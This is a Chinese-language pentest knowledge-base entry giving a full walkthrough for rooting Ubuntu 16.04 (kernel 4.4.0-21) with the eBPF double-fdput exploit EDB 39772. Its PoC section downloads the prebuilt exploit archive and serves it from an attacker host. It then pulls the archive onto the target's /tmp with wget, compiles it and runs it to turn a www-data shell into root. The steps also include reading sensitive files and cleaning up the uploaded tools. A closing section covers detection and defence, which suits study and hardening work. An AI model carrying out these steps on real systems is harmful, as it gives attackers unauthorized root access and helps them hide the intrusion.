♧ Godown 安全知识树

Ubuntu 16.04 4.4.0-21 内核 eBPF mapfd double-put 提权:uname 定位后运行 EDB 39772 预打包 exploit.tar

pentest/privilege-escalation · verified

一句话结论

在 Ubuntu 16.04 目标上 uname -a 得到 4.4.0-21-generic 后,searchsploit ubuntu 16.04 privilege escalation 可定位 EDB 39772(double-fdput() bpf(BPF_PROG_LOAD) 本地提权);按 EXP 文档把预打包的 exploit.tar 传到目标 /tmp,解压后 ./compile.sh 并运行 ./doubleput,即可从 www-data 低权 shell 直接拿到 root。

原理

  • Linux 4.4.x 的 eBPF 程序加载路径存在 map 文件描述符引用计数处理缺陷(double-fdput):同一 fd 被重复 put,导致 struct file 提前释放;随后通过 writev 触发已释放对象的指针重用(EXP 输出 got pointer reuse、writev returned successfully),完成内核内存破坏并取得 root。
  • EXP 以 ebpf_mapfd_doubleput_exploit 包提供,包含 doubleput.c、suidhelper.c、hello.c 与 compile.sh;脚本在目标上现编译(需要 gcc),运行后显示 suid file detected, launching rootshell... 并启动 uid=0 的 shell。
  • 该 EXP 依赖内核版本与发行版补丁状态:exploit-db 标题即限定 Linux Kernel 4.4.x (Ubuntu 16.04);同一 4.4.x 的不同发行版或已回补内核可能失败,因此先用 uname -a//proc/version 精确确认版本,再选择 EXP。
  • 预打包 zip(exploitdb-bin-sploits 的 39772.zip)省去了源码检索与依赖处理:39772.txt 内直接给出 exploit.tar 的使用方法(compile.sh + doubleput),适合在内网/离线环境快速落地。
  • 该路径与“发行版/版本精确匹配”的通用内核提权方法一致:先由 searchsploit 收敛候选,再按版本区间与发行版排除,最后挑最贴近的 EXP 执行。

触发条件

  • 已获得目标低权限本地 shell(WebShell/反弹 shell/普通账户)。
  • uname -a 显示 Ubuntu 16.04、内核 4.4.0-21-generic(或 exploit-db 标题覆盖的 4.4.x 未回补内核)。
  • 目标有可写可执行目录(/tmp),且安装了 gcc/make(或能上传静态编译好的二进制)。
  • 允许运行未签名的本地二进制(无 AppArmor/grsec 等强限制阻止 BPF 系统调用)。

利用步骤

  1. 确认版本:uname -a、cat /proc/version、lsb_release -a,记录内核与发行版。
  2. 在攻击机搜索并取回 EXP:searchsploit ubuntu 16.04 privilege escalation,找到 Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD)(linux/local/39772.txt);searchsploit -m 39772 查看说明。
  3. 下载预打包利用:wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip,解压得到 exploit.tar。
  4. 传输:在攻击机 python -m SimpleHTTPServer 8000,目标上 wget http://<attacker>:8000/exploit.tar,tar -xf exploit.tar。
  5. 编译运行:cd ebpf_mapfd_doubleput_exploit && ./compile.sh && ./doubleput,等待输出 root shell(whoami 为 root)。
  6. 读取 flag/敏感文件,并清理上传的 EXP 与临时文件。

PoC

# 目标信息
uname -a
# Linux red 4.4.0-21-generic #37-Ubuntu SMP ... i686 GNU/Linux
lsb_release -a
# Ubuntu 16.04 LTS

# 攻击机
searchsploit -m 39772
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip
cd 39772 && python -m SimpleHTTPServer 8000

# 目标(www-data shell)
cd /tmp
wget http://<attacker>:8000/exploit.tar
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
# starting writev
# woooh, got pointer reuse
# writev returned successfully...
# suid file detected, launching rootshell...
# we have root privs now...
whoami
# root

变体与关联

  • 变体:exploit.tar 无法下载时,可从 EXP 源码(doubleput.c)直接 gcc 编译;缺头文件/编译失败时改用同版本区间的其它 EXP(如 AF_PACKET、netfilter、45010 等)逐一尝试。
  • 变体:uname 版本不精确时,注意发行版回补:Ubuntu 16.04 的 4.4.0-21 与其它 4.4.x 补丁级别不同,应以 searchsploit 标题限定 + 实际测试为准。
  • 变体:离线内网可用 searchsploit -m 在攻击机取源码后上传;也可使用编译好的静态 EXP 减少目标依赖。
  • 关联:[[pentest-privilege-escalation-linux-kernel-exp-selection-compile-run]](版本→候选→编译运行的通用流程)、[[pentest-privilege-escalation-dirtycow-cve-2016-5195-local-root]](同类老内核本地提权)。
  • 边界:内核已回补、BPF 被 seccomp/AppArmor 限制、目标无 gcc 且无法上传二进制、内核版本不在 EXP 覆盖区间时失败。

检测与防御

  • 检测:Web 用户发起 bpf(BPF_PROG_LOAD) 系统调用、/tmp 下出现新编译的可执行文件与 exploit.tar、异常 writev 行为;EDR 对本地提权 EXP 的已知特征与 suid file detected 输出。
  • 防御:及时安装内核安全更新(Ubuntu USN);启用 kernel.unprivileged_bpf_disabled=1、seccomp/AppArmor 限制 Web 进程;禁止 Web 用户在可写目录执行程序;最小化 gcc/编译工具链;监控 /tmp 可执行文件与 SUID 文件变化。